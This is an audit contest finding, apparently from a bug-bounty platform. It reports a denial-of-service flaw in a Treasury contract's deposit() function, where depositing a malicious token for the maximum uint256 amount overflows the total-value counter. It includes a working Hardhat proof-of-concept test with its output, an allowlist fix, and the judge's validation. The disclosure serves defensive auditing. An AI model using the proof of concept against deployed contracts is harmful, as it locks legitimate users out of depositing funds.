Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

A malicious user calls `Treasury::deposit()` to deposit a malicious token, which prevents anyone from depositing tokens

Summary

A malicious user can exploit the lack of a token whitelist in the Treasury::deposit() function to deposit an arbitrary ERC-20 token with a maximum possible value. This causes an overflow in _totalValue, rendering the contract unable to accept any further deposits.

Vulnerability Details

The Treasury::deposit() function does not validate the token address against an allowlist, enabling attackers to deploy and deposit arbitrary ERC-20 tokens. By depositing type(uint256).max, the _totalValue variable overflows, leading to a denial-of-service condition that prevents legitimate users from depositing any tokens.

Code Snippet

uint256 private _totalValue;
// Treasury::deposit()
function deposit(address token, uint256 amount) external override nonReentrant {
if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
IERC20(token).transferFrom(msg.sender, address(this), amount);
_balances[token] += amount;
@> _totalValue += amount;
emit Deposited(token, amount);
}

Poc

The following test demonstrates the issue by deploying a malicious ERC-20 token and depositing type(uint256).max, triggering an overflow in _totalValue.

Add the following test to test/unit/core/collectors/Treasury.test.js and execute it:

import { MaxUint256 } from "ethers";
describe("Malicious Blocking Deposits", () => {
beforeEach(async () => {
const maxUint256 = BigInt(MaxUint256);
// deploy token
const MockToken = await ethers.getContractFactory("MockToken");
let maliciousToken = await MockToken.deploy("maliciousToken", "maliciousToken", 18);
// mint token
await maliciousToken.mint(user2.address, maxUint256);
// deposit token
await maliciousToken.connect(user2).approve(treasury.getAddress(), maxUint256);
await treasury.connect(user2).deposit(maliciousToken.getAddress(), maxUint256);
await token.connect(user1).approve(treasury.getAddress(), ethers.parseEther("1000"));
});
// A malicious user deposits maxUint256, causing `_totalValue` to overflow and unable to deposit tokens
it("Tokens cannot be deposited due to malicious attacks", async () => {
const amount = ethers.parseEther("100");
await expect(
treasury.connect(user1).deposit(token.getAddress(), amount)).to.be.revertedWithPanic(0x11);
});
});

output:

2025-02-raac$ npx hardhat test test/unit/core/collectors/Treasury.test.js --grep "Malicious Blocking Deposits"
Treasury
Malicious Blocking Deposits
✔ Tokens cannot be deposited due to malicious attacks (849ms)
1 passing (18s)

Impact

This vulnerability effectively disables the Treasury::deposit() function, preventing legitimate users from depositing any tokens once the overflow occurs.

Tools Used

Manual Review

Recommendations

Implement a token allowlist in the contract to restrict deposits to pre-approved tokens. Any token not on the allowlist should be rejected to prevent malicious deposits.

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Treasury::deposit increments _totalValue regardless of the token, be it malicious, different decimals, FoT etc.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!